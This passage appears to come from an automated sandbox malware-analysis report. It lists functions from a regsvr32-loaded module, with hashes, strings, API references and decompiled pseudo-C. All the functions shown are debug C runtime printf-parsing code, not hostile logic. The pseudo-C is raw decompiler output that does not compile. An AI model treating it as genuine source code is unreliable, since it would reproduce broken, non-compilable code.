Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: c2a3dc5e3c5b3ef6ce05fce9891920db6be9e05d2791cfb21aba20a8a533fa4f
Instruction ID: d34c943794379c2c172b76bd65526e764d0d85b1982d09e34a5c92bdfa9d3ddf
Opcode Fuzzy Hash: c2a3dc5e3c5b3ef6ce05fce9891920db6be9e05d2791cfb21aba20a8a533fa4f
Instruction Fuzzy Hash: 8141B836619A8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: 3c24d1ab21f2eaa164015dd35ad3ad4baa8f1e206880d9711f96d4d726ca0df5
Instruction ID: a4401d07f2fb6cffb5d65cb91d5b1a1a6a6edb3a16c82fb832ec879f024f4c4f
Opcode Fuzzy Hash: 3c24d1ab21f2eaa164015dd35ad3ad4baa8f1e206880d9711f96d4d726ca0df5
Instruction Fuzzy Hash: 60D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6D987AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

7, xrefs: 000007FEF9D3DFAD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 3ac2e27d66d95a25dfb2edd2f0848946df9d4bfe2e481795af5e1dbd4b0ec7bb
Instruction ID: 786758f90f15de6030b6b0b797e7a3976266de7f5bb6935df7b5cb31798ef030
Opcode Fuzzy Hash: 3ac2e27d66d95a25dfb2edd2f0848946df9d4bfe2e481795af5e1dbd4b0ec7bb
Instruction Fuzzy Hash: D0B1FD7260CAC286E7B1DB55E8417AFB7E0F784356F104126EAC987AA9DB7DE440CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 5533e41279f98ba4d4f5350db4eab6cd9eaa803fb231b9fee7a87e58e20f6e26
Instruction ID: 67313c86c0907fb9479329b5879005a062486a8a0ba054e26d823845a12987d7
Opcode Fuzzy Hash: 5533e41279f98ba4d4f5350db4eab6cd9eaa803fb231b9fee7a87e58e20f6e26
Instruction Fuzzy Hash: FA911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
w, xrefs: 000007FEF9D3BE63

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: ca0a1c3a4d76a0406b352d4f9ca239403a79a6076d76e868b137271f3bc4e837
Instruction ID: 94b803b8bf2c9d0da31cb8fabbb810b13218eabd765851e9cd54d2cd97e7a3d8
Opcode Fuzzy Hash: ca0a1c3a4d76a0406b352d4f9ca239403a79a6076d76e868b137271f3bc4e837
Instruction Fuzzy Hash: 46915E72A0D6C28AE3F18B54E88477EB7E4E381346F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
w, xrefs: 000007FEF9D3DE11
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: 7c5d23002966610aaf37fd2e87aab718b594dfcb558d5e32631a425086473698
Instruction ID: 3115a511369859e1f947b9f2c3204b19b7531d4cbd05c4b67493ff7b1ab56a73
Opcode Fuzzy Hash: 7c5d23002966610aaf37fd2e87aab718b594dfcb558d5e32631a425086473698
Instruction Fuzzy Hash: 5C910C62A0C6C18AE7F08B55E88077EB3E1F385756F600025E6CD87AA8DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

0, xrefs: 000007FEF9D3BD31
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-4087627031
Opcode ID: 1de43203eafd45e9ce0d0d64285ee361cc766a04d488c37d7d0694f7340f7322
Instruction ID: 3ab598f7b4fd695a8a70feaac4248e5f119f303646eea4bd5d4eba80b196619f
Opcode Fuzzy Hash: 1de43203eafd45e9ce0d0d64285ee361cc766a04d488c37d7d0694f7340f7322
Instruction Fuzzy Hash: F3514C72A0D6C28AF3F19B64E855BBEBBE4F381345F200126D2D9869A9D77DE540CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DCA8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3DCA8(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t191 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t192 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t171 + _t192 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
